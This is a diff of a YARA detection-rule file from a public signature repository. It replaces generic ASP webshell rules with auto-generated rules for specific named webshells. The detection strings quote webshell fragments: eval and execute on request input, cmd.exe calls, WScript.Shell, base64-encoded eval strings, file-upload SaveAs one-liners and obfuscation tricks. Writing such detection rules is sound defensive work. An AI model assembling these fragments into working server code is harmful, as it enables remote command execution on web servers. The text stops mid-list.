-		filesize <100KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ((( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))) and ((( filesize <100KB and ((#o4+#o5+#o6+#o7+#o8+#o9)>20)) or ( filesize <5KB and ((#o4+#o5+#o6+#o7+#o8+#o9)>5 or ((#m_multi_one1+#m_multi_one2+#m_multi_one3+#m_multi_one4+#m_multi_one5)>3))) or ( filesize <700 and ((#o4+#o5+#o6+#o7+#o8+#o9)>3 or (#m_multi_one1+#m_multi_one2+#m_multi_one3+#m_multi_one4+#m_multi_one5)>2))) or any of ($asp_obf*)) or (( filesize <100KB and ((#oo1)>2 or $oo2)) or ( filesize <25KB and ((#oo1)>1)) or ( filesize <1KB and ((#oo1)>0)))) and not any of ($m_fp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Eval_On_Input : FILE
+rule SIGNATURE_BASE_FSO_S_Phvayv
 {
 	meta:
-		description = "Generic ASP webshell which uses any eval/exec function directly on user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3359-L3463"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
-		hash = "9be2088d5c3bfad9e8dfa2d7d7ba7834030c7407"
-		hash = "a1df4cfb978567c4d1c353e988915c25c19a0e4a"
-		hash = "069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6"
-		logic_hash = "f7b9f43cf2fd6d08b7438f003242e9a19dcea282959c7a1fdff3a35e261a031e"
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "07e027a6-01a5-5250-a35e-fbfef1449cfe"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7810-L7821"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+		logic_hash = "d0482607f7d9cf6c89963cb9b1f943fa0b80636e857e0fb044cd9a0b3f974deb"
 		score = 75
-		quality = -199
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload_and_input0 = /\beval_r\s{0,20}\(Request\(/ nocase wide ascii
-		$payload_and_input1 = /\beval[\s\(]{1,20}request[.\(\[]/ nocase wide ascii
-		$payload_and_input2 = /\bexecute[\s\(]{1,20}request\(/ nocase wide ascii
-		$payload_and_input4 = /\bExecuteGlobal\s{1,20}request\(/ nocase wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"
 
 	condition:
-		( filesize <1100KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($payload_and_input*)) or ( filesize <100 and any of ($payload_and_input*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Nano : FILE
+rule SIGNATURE_BASE_Byshell063_Ntboot
 {
 	meta:
-		description = "Generic ASP webshell which uses any eval/exec function"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5f2f24c2-159d-51e1-80d9-11eeb77e8760"
-		date = "2021-01-13"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3465-L3656"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3b7910a499c603715b083ddb6f881c1a0a3a924d"
-		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
-		hash = "22345e956bce23304f5e8e356c423cee60b0912c"
-		hash = "c84a6098fbd89bd085526b220d0a3f9ab505bcba"
-		hash = "b977c0ad20dc738b5dacda51ec8da718301a75d7"
-		hash = "c69df00b57fd127c7d4e0e2a40d2f6c3056e0af8bfb1925938060b7e0d8c630f"
-		hash = "f3b39a5da1cdde9acde077208e8e5b27feb973514dab7f262c7c6b2f8f11eaa7"
-		hash = "0e9d92807d990144c637d8b081a6a90a74f15c7337522874cf6317092ea2d7c1"
-		hash = "ebbc485e778f8e559ef9c66f55bb01dc4f5dcce9c31ccdd150e2c702c4b5d9e1"
-		hash = "44b4068bfbbb8961e16bae238ad23d181ac9c8e4fcb4b09a66bbcd934d2d39ee"
-		hash = "c5a4e188780b5513f34824904d56bf6e364979af6782417ccc5e5a8a70b4a95a"
-		hash = "41a3cc668517ec207c990078bccfc877e239b12a7ff2abe55ff68352f76e819c"
-		hash = "2faad5944142395794e5e6b90a34a6204412161f45e130aeb9c00eff764f65fc"
-		hash = "d0c5e641120b8ea70a363529843d9f393074c54af87913b3ab635189fb0c84cb"
-		hash = "28cfcfe28419a399c606bf96505bc68d6fe05624dba18306993f9fe0d398fbe1"
-		logic_hash = "1b969e098a0b2c86ceba9cbb7f31770ba04f1a4c225716ea27d7e4e4177c90c4"
+		description = "Webshells Auto-generated - file ntboot.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7d1f39f6-04f1-51ee-b125-c35af8ae4c0c"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7822-L7836"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
+		logic_hash = "2fdc930eacb87d02ebe69a2b64df4103bd0f3417a76f1b2922b3d4cd4c0dffe9"
 		score = 75
-		quality = -417
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$susasp1 = "/*-/*-*/"
-		$susasp2 = "(\"%1"
-		$susasp3 = /[Cc]hr\([Ss]tr\(/
-		$susasp4 = "cmd.exe"
-		$susasp5 = "cmd /c"
-		$susasp7 = "FromBase64String"
-		$susasp8 = "UmVxdWVzdC"
-		$susasp9 = "cmVxdWVzdA"
-		$susasp10 = "/*//*/"
-		$susasp11 = "(\"/*/\""
-		$susasp12 = "eval(eval("
-		$fp1 = "eval a"
-		$fp2 = "'Eval'"
-		$fp3 = "Eval(\""
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_payload0 = "eval_r" fullword nocase wide ascii
-		$asp_payload1 = /\beval\s/ nocase wide ascii
-		$asp_payload2 = /\beval\(/ nocase wide ascii
-		$asp_payload3 = /\beval\"\"/ nocase wide ascii
-		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
-		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
-		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
-		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
-		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
-		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
-		$asp_multi_payload_one2 = "addcode" fullword wide ascii
-		$asp_multi_payload_one3 = /\.run\b/ wide ascii
-		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
-		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
-		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
-		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
-		$asp_multi_payload_three2 = "Process" fullword wide ascii
-		$asp_multi_payload_three3 = ".Start" wide ascii
-		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
-		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
-		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
-		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
-		$asp_multi_payload_five2 = ".Start" nocase wide ascii
-		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
-		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "Dumping Description to Registry..."
+		$s3 = "Opening Service .... Failure !"
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))) and not any of ($fp*) and ( filesize <200 or ( filesize <1000 and any of ($susasp*)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Encoded : FILE
+rule SIGNATURE_BASE_FSO_S_Casus15_2
 {
 	meta:
-		description = "Webshell in VBscript or JScript encoded using *.Encode plus a suspicious string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "67c0e1f6-6da5-569c-ab61-8b8607429471"
-		date = "2021-03-14"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3658-L3768"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1bc7327f9d3dbff488e5b0b69a1b39dcb99b3399"
-		hash = "9885ee1952b5ad9f84176c9570ad4f0e32461c92"
-		hash = "27a020c5bc0dbabe889f436271df129627b02196"
-		hash = "f41f8c82b155c3110fc1325e82b9ee92b741028b"
-		hash = "af40f4c36e3723236c59dc02f28a3efb047d67dd"
-		logic_hash = "dc33423874a49edfe9994db50959e6a55e2d475f4cd7d0b1b0a288c4ee1f7961"
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d3f67fe9-a93f-504a-8b14-a815135d562f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7837-L7848"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+		logic_hash = "45820e0398cca8e75fc4acf6863d962a817afd95a4592acd4ac4a50029684220"
 		score = 75
-		quality = -24
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$encoded1 = "VBScript.Encode" nocase wide ascii
-		$encoded2 = "JScript.Encode" nocase wide ascii
-		$data1 = "#@~^" wide ascii
-		$sus1 = "shell" nocase wide ascii
-		$sus2 = "cmd" fullword wide ascii
-		$sus3 = "password" fullword wide ascii
-		$sus4 = "UserPass" fullword wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s0 = "copy ( $dosya_gonder"
 
 	condition:
-		filesize <500KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($encoded*) and any of ($data*) and ( any of ($sus*) or ( filesize <20KB and #data1>4) or ( filesize <700 and #data1>0))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Encoded_Aspcoding : FILE
+rule SIGNATURE_BASE_Installer
 {
 	meta:
-		description = "ASP Webshell encoded using ASPEncodeDLL.AspCoding"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "788a8dae-bcb8-547c-ba17-e1f14bc28f34"
-		date = "2021-03-14"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3770-L3876"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7cfd184ab099c4d60b13457140493b49c8ba61ee"
-		hash = "f5095345ee085318235c11ae5869ae564d636a5342868d0935de7582ba3c7d7a"
-		logic_hash = "a0f0b8585b28b13a90c5d112997cacea00af8c89c81eda5edf05508ad41459ab"
-		score = 60
-		quality = -5
-		tags = "FILE"
+		description = "Webshells Auto-generated - file installer.cmd"
+		author = "Florian Roth (Nextron Systems)"
+		id = "681d8284-55e5-5316-a0d2-f4f13218df76"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7849-L7861"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a507919ae701cf7e42fa441d3ad95f8f"
+		logic_hash = "73c1032313155ceb752fe2f94c8d242833127fe0443d7e3044fa1de2b2b7742b"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$encoded1 = "ASPEncodeDLL" fullword nocase wide ascii
-		$encoded2 = ".Runt" nocase wide ascii
-		$encoded3 = "Request" fullword nocase wide ascii
-		$encoded4 = "Response" fullword nocase wide ascii
-		$data1 = "AspCoding.EnCode" wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s0 = "Restore Old Vanquish"
+		$s4 = "ReInstall Vanquish"
 
 	condition:
-		filesize <500KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and all of ($encoded*) and any of ($data*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_By_String : FILE
+rule SIGNATURE_BASE_FSO_S_Remview_2
 {
 	meta:
-		description = "Known ASP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4705b28b-2ffa-53d1-b727-1a9fc2a7dd69"
-		date = "2021-01-13"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3878-L4056"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f72252b13d7ded46f0a206f63a1c19a66449f216"
-		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
-		hash = "56a54fe1f8023455800fd0740037d806709ffb9ece1eb9e7486ad3c3e3608d45"
-		hash = "4ef5d8b51f13b36ce7047e373159d7bb42ca6c9da30fad22e083ab19364c9985"
-		hash = "e90c3c270a44575c68d269b6cf78de14222f2cbc5fdfb07b9995eb567d906220"
-		hash = "8a38835f179e71111663b19baade78cc3c9e1f6fcc87eb35009cbd09393cbc53"
-		hash = "f2883e9461393b33feed4139c0fc10fcc72ff92924249eb7be83cb5b76f0f4ee"
-		hash = "10cca59c7112dfb1c9104d352e0504f842efd4e05b228b6f34c2d4e13ffd0eb6"
-		hash = "ed179e5d4d365b0332e9ffca83f66ee0afe1f1b5ac3c656ccd08179170a4d9f7"
-		hash = "ce3273e98e478a7e95fccce0a3d3e8135c234a46f305867f2deacd4f0efa7338"
-		hash = "65543373b8bd7656478fdf9ceeacb8490ff8976b1fefc754cd35c89940225bcf"
-		hash = "de173ea8dcef777368089504a4af0804864295b75e51794038a6d70f2bcfc6f5"
-		logic_hash = "b6ff83bc501753b893a0f5e60c6aafa292617279c0855ce3ba2d0b9b73325e8a"
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8e0492e8-d683-5c2d-b1ce-6c8344b874af"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7862-L7874"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+		logic_hash = "0a682431f7044e9a49c8dd4842a22c521e2a07d5df045b0a12449e3b3206716b"
 		score = 75
-		quality = -41
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$asp_string1 = "tseuqer lave" wide ascii
-		$asp_string2 = ":eval request(" wide ascii
-		$asp_string3 = ":eval request(" wide ascii
-		$asp_string4 = "SItEuRl=\"http://www.zjjv.com\"" wide ascii
-		$asp_string5 = "ServerVariables(\"HTTP_HOST\"),\"gov.cn\"" wide ascii
-		$asp_string6 = /e\+.-v\+.-a\+.-l/ wide ascii
-		$asp_string7 = "r+x-e+x-q+x-u" wide ascii
-		$asp_string8 = "add6bb58e139be10" fullword wide ascii
-		$asp_string9 = "WebAdmin2Y.x.y(\"" wide ascii
-		$asp_string10 = "<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[" wide ascii
-		$asp_string11 = "<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(" wide ascii
-		$asp_string12 = "UmVxdWVzdC5JdGVtWyJ" wide ascii
-		$asp_string13 = "UAdgBhAGwAKA" wide ascii
-		$asp_string14 = "lAHYAYQBsACgA" wide ascii
-		$asp_string15 = "ZQB2AGEAbAAoA" wide ascii
-		$asp_string16 = "IAZQBxAHUAZQBzAHQAKA" wide ascii
-		$asp_string17 = "yAGUAcQB1AGUAcwB0ACgA" wide ascii
-		$asp_string18 = "cgBlAHEAdQBlAHMAdAAoA" wide ascii
-		$asp_string19 = "\"ev\"&\"al" wide ascii
-		$asp_string20 = "\"Sc\"&\"ri\"&\"p" wide ascii
-		$asp_string21 = "C\"&\"ont\"&\"" wide ascii
-		$asp_string22 = "\"vb\"&\"sc" wide ascii
-		$asp_string23 = "\"A\"&\"do\"&\"d" wide ascii
-		$asp_string24 = "St\"&\"re\"&\"am\"" wide ascii
-		$asp_string25 = "*/eval(" wide ascii
-		$asp_string26 = "\"e\"&\"v\"&\"a\"&\"l" nocase
-		$asp_string27 = "<%eval\"\"&(\"" nocase wide ascii
-		$asp_string28 = "6877656D2B736972786677752B237E232C2A" wide ascii
-		$asp_string29 = "ws\"&\"cript.shell" wide ascii
-		$asp_string30 = "SerVer.CreAtEoBjECT(\"ADODB.Stream\")" wide ascii
-		$asp_string31 = "ASPShell - web based shell" wide ascii
-		$asp_string32 = "<++ CmdAsp.asp ++>" wide ascii
-		$asp_string33 = "\"scr\"&\"ipt\"" wide ascii
-		$asp_string34 = "Regex regImg = new Regex(\"[a-z|A-Z]{1}:\\\\\\\\[a-z|A-Z| |0-9|\\u4e00-\\u9fa5|\\\\~|\\\\\\\\|_|{|}|\\\\.]*\");" wide ascii
-		$asp_string35 = "\"she\"&\"ll." wide ascii
-		$asp_string36 = "LH\"&\"TTP" wide ascii
-		$asp_string37 = "<title>Web Sniffer</title>" wide ascii
-		$asp_string38 = "<title>WebSniff" wide ascii
-		$asp_string39 = "cript\"&\"ing" wide ascii
-		$asp_string40 = "tcejbOmetsySeliF.gnitpircS" wide ascii
-		$asp_string41 = "tcejbOetaerC.revreS" wide ascii
-		$asp_string42 = "This file is part of A Black Path Toward The Sun (\"ABPTTS\")" wide ascii
-		$asp_string43 = "if ((Request.Headers[headerNameKey] != null) && (Request.Headers[headerNameKey].Trim() == headerValueKey.Trim()))" wide ascii
-		$asp_string44 = "if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim()))" wide ascii
-		$asp_string45 = "Response.Write(Server.HtmlEncode(ExcutemeuCmd(txtArg.Text)));" wide ascii
-		$asp_string46 = "\"c\" + \"m\" + \"d\"" wide ascii
-		$asp_string47 = "\".\"+\"e\"+\"x\"+\"e\"" wide ascii
-		$asp_string48 = "Tas9er" fullword wide ascii
-		$asp_string49 = "<%@ Page Language=\"\\u" wide ascii
-		$asp_string50 = "BinaryRead(\\u" wide ascii
-		$asp_string51 = "Request.\\u" wide ascii
-		$asp_string52 = "System.Buffer.\\u" wide ascii
-		$asp_string53 = "System.Net.\\u" wide ascii
